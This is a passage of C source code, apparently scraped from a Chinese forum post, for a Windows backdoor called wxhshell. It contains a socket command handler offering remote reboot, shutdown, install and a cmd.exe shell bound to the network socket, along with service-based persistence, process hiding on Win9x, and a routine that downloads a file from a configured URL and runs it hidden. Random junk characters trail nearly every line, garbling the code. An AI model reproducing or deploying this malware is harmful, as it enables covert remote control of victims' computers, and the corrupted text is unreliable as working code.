  case '?': { u? EN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F"kAkX>3}  
    break; rM SZ"  
  } 3g B7g'U  
  // 安装 ^rz_f{c]-  
  case 'i': { C# pjmT_  
    if(Install()) /_.|E]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ->jDb/a{C  
    else )5H?Vh>36  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fzcwy V   
    break; }0 ?3:A  
    } iDD$pd,e\  
  // 卸载 x~sBzTa  
  case 'r': { CGFDqCNr-  
    if(Uninstall()) #K&Gp-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +,l-Nz  
    else 'fW-Y!k%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L50n8s  
    break; wM{s|Ay  
    } {h4E8.E  
  // 显示 wxhshell 所在路径 tX[WH\(xI  
  case 'p': { bd`P0f?  
    char svExeFile[MAX_PATH]; 9JwPSAo;  
    strcpy(svExeFile,"\n\r"); T4F/w|Q  
      strcat(svExeFile,ExeFile); SfR%s8c`  
        send(wsh,svExeFile,strlen(svExeFile),0); _dU\JD  
    break; Xc.`-J~Il  
    } {G-kNU  
  // 重启 afk>+4q  
  case 'b': { 4!$"ayGv;D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zeRyL3fnmb  
    if(Boot(REBOOT)) m+9#5a-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0`H# '/  
    else { M\=2uKG#  
    closesocket(wsh); ,u m|1dh  
    ExitThread(0); kcEeFG;DQ  
    }  lRQYpc\  
    break; @nf`Gw ;  
    } [hs ds\  
  // 关机 8k79&|  
  case 'd': { M%#e1"n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2qp#N%  
    if(Boot(SHUTDOWN)) P2Y^d#jO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !9x}  
    else { R-Sym8c  
    closesocket(wsh); >sbu<|]a 7  
    ExitThread(0); S>{~nOYt-`  
    } =c7;r]Ol  
    break; V8(-  
    } /RF7j;  
  // 获取shell IA(5?7x`<  
  case 's': { 7z-[f'EIUI  
    CmdShell(wsh); ^Dx&|UwiZa  
    closesocket(wsh); w =KPT''!  
    ExitThread(0); ;kK/_%gN-G  
    break; jdBLsy@  
  } Pz^544\~ou  
  // 退出 4P0}+  
  case 'x': { @ P|y{e6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x"g&#Vq ~  
    CloseIt(wsh); EV?z`jE9  
    break; W!<U85-#S  
    } j.YA 2mr  
  // 离开 +|rj4j)L&'  
  case 'q': { _*zt=zn>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vv7I_nK?  
    closesocket(wsh); OJxl<Q=z  
    WSACleanup(); }\LQ3y"[  
    exit(1); F!do~Z  
    break; i9$ Av  
        } $8FUfJ1@  
  } snJ129}A  
  } 7o4\oRGV  
'<M{)?  
  // 提示信息 uq{ beC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?4B`9<j8%  
} tVjsRnb{  
  } M(fTKs  
s@C}P  
  return; =Sv/IXX\di  
} YS ][n_  
qWw=8Bq  
// shell模块句柄 o(HbGHIP  
int CmdShell(SOCKET sock) j<x_&1  
{ W%J\qA  
STARTUPINFO si; +v\oOBB)  
ZeroMemory(&si,sizeof(si)); NO3/rJ6-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j#6.Gq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qb4z T  
PROCESS_INFORMATION ProcessInfo; e;jdqF~v!  
char cmdline[]="cmd"; o}!PQ#`M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ME dWLFf  
  return 0; UI#h&j5pW  
} ww/Uzv  
[!z,lY>  
// 自身启动模式 u4j5w  
int StartFromService(void) Q20 %"&Xp]  
{ he4(hX^  
typedef struct  )*[3Vq  
{ M`>E|" <  
  DWORD ExitStatus; 1"g<0 W  
  DWORD PebBaseAddress; g5yJfRLxp  
  DWORD AffinityMask; ]?*wbxU0  
  DWORD BasePriority; r3Ykz%6  
  ULONG UniqueProcessId; /o[w4d8  
  ULONG InheritedFromUniqueProcessId; Q;u pau  
}   PROCESS_BASIC_INFORMATION; HV.t6@\};  
O84i;S+-p  
PROCNTQSIP NtQueryInformationProcess; &NWEqBz*2  
g 'gdgfvn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #S(Hd?34,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v1[29t<I!  
XRH!]!  
  HANDLE             hProcess; Uv.)?YeGh  
  PROCESS_BASIC_INFORMATION pbi; wbHb;]  
TNth   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +0~YP*I`/  
  if(NULL == hInst ) return 0; grYe&(`X  
G?ZXWu.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); weQ_*<5%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8RX&k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uS-|wYE  
2?5>o!C  
  if (!NtQueryInformationProcess) return 0; q@qsp&0/  
/ouPg=+Nl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e!Hhs/&!T  
  if(!hProcess) return 0; +H.`MZ=  
]A"h&`Cvt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;]iRk  
G#CXs:1pd+  
  CloseHandle(hProcess); liZxBs :%i  
q@&6#B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J1vR5wbu  
if(hProcess==NULL) return 0; ( =$ x.1  
g*Phv|kI  
HMODULE hMod; '7/)Ot(  
char procName[255]; y^k$Us  
unsigned long cbNeeded; /,dz@   
8QK&_n*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S:Hl/:iV  
74u&%Rj  
  CloseHandle(hProcess); <[phnU^ 8  
sS Mh`4'  
if(strstr(procName,"services")) return 1; // 以服务启动 (ZGbh MK  
 <Uur^uB  
  return 0; // 注册表启动 y(&Ac[foS}  
} 6mE\OS-I  
>Q/Dk7#  
// 主模块 VQs5"K"  
int StartWxhshell(LPSTR lpCmdLine) F:VIzyMq<  
{ GeqPRah  
  SOCKET wsl; :Al!1BJQ  
BOOL val=TRUE; 5bIw?%dk(  
  int port=0; dI2 V>vk  
  struct sockaddr_in door; y9;Yiv r)  
=vPj%oLp'a  
  if(wscfg.ws_autoins) Install(); lk!@?  
s.#`&Sd>  
port=atoi(lpCmdLine); fox6)Uot  
yX5\gO6G  
if(port<=0) port=wscfg.ws_port; FlQGg VN  
@c#(.=  
  WSADATA data; 7P T{lT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *I+Q~4  
b'g )  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,I9bNO,%JK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BWNi [^]  
  door.sin_family = AF_INET; ~>G^=0LT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); us.~G  
  door.sin_port = htons(port); +_`7G^U?%  
E{\2='3\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y@v>FlqI{  
closesocket(wsl); 1cDF!X]  
return 1; ~rm_vo  
} /xQTxh1;K  
NRuNKl.v  
  if(listen(wsl,2) == INVALID_SOCKET) { Fu~j8K  
closesocket(wsl); o4;(Zi#Z  
return 1; g7|@  
} u NyVf7u  
  Wxhshell(wsl); ni<(K 0~  
  WSACleanup(); %xW"!WbJ|  
E$e5^G9  
return 0; fJ\[*5eiS  
6b,V;#Anj  
} [;N'=]`  
"7 yD0T)2  
// 以NT服务方式启动 >~f]_puT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d5b%  W3  
{ N[hG8f  
DWORD   status = 0; QP x^_jA  
  DWORD   specificError = 0xfffffff; :3PH8TL  
+t.b` U`-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?M2J wAK5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GY*p?k<i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cNrg#Asen&  
  serviceStatus.dwWin32ExitCode     = 0; 54,er$$V  
  serviceStatus.dwServiceSpecificExitCode = 0; pCDmXB  
  serviceStatus.dwCheckPoint       = 0; @W<m 4fi  
  serviceStatus.dwWaitHint       = 0; ^OdP4m( >>  
}vuARZ>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K"6vXv4QO  
  if (hServiceStatusHandle==0) return; iscz}E,Y  
`V1]k_h  
status = GetLastError(); sA~]$A;DM!  
  if (status!=NO_ERROR) mq l Z?-  
{ Ef\ -VKh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $qiya[&G4  
    serviceStatus.dwCheckPoint       = 0; r%_djUd  
    serviceStatus.dwWaitHint       = 0; FmW(CGs  
    serviceStatus.dwWin32ExitCode     = status; W_=f'yb:E  
    serviceStatus.dwServiceSpecificExitCode = specificError; }bDm@NU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bcyzhK=  
    return; 1 zZlC#V  
  } m 5.Zu.  
"%_+-C<L4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]'cs.  
  serviceStatus.dwCheckPoint       = 0; x2EUr,7  
  serviceStatus.dwWaitHint       = 0; F [M,]?   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }k0_5S  
} s iaG'%@*r  
mw!F{pw  
// 处理NT服务事件,比如:启动、停止 PCvWS.{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ! if   
{ <%d>v-=B  
switch(fdwControl) b}f~il  
{ SBpL6~NW  
case SERVICE_CONTROL_STOP: \zY!qpX<  
  serviceStatus.dwWin32ExitCode = 0; w xH7?tsf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~&T~1xsFJ  
  serviceStatus.dwCheckPoint   = 0; \m,PA'nd/  
  serviceStatus.dwWaitHint     = 0; LLo;\WGZ  
  { dG{A~Z z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  g-A-kqo9  
  } 0@(&eH=  
  return; EPm/r  
case SERVICE_CONTROL_PAUSE: ;jXgAAz7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *hx  
  break; yfSmDPh  
case SERVICE_CONTROL_CONTINUE: hM{bavd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3F3A%C%  
  break; +TJCLZ..  
case SERVICE_CONTROL_INTERROGATE: M{@(G5  
  break; zda 3 ,U2o  
}; UZMd~|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hrn+UL:d  
} P?\6@_ Z  
@- xjfC\d  
// 标准应用程序主函数 ]'}L 1r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )UR7i8]!0  
{ VRMXtQ*1Dm  
x4 yR8n(  
// 获取操作系统版本 pb}*\/s  
OsIsNt=GetOsVer();  &HW9Jn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O?2DQY?jT  
+nL[MSw  
  // 从命令行安装 vt8By@]:  
  if(strpbrk(lpCmdLine,"iI")) Install(); n[z+<VGwC  
Z~CjA%l  
  // 下载执行文件 WMdg1J+~  
if(wscfg.ws_downexe) { JI}'dU>*U:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3$ pX  
  WinExec(wscfg.ws_filenam,SW_HIDE); NOva'qk  
} %Zi} MPx  
$I=~S[p  
if(!OsIsNt) { nKY6[|!#  
// 如果时win9x,隐藏进程并且设置为注册表启动 xEI%D|)<  
HideProc(); 0;k# *#w  
StartWxhshell(lpCmdLine); 3n _htgcv  
} siI;"?  
else Upe%rC(  
  if(StartFromService()) u_enqC3  
  // 以服务方式启动 ?  t|[?  
  StartServiceCtrlDispatcher(DispatchTable); QV!up^Zso  
else 2ESo2  
  // 普通方式启动 ]DcFySyv  
  StartWxhshell(lpCmdLine); HtFDlvdy]  
$Yq9P0Ya  
return 0; zfU{Kd  
}
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只看该作者 1 发表于: 2006-10-10
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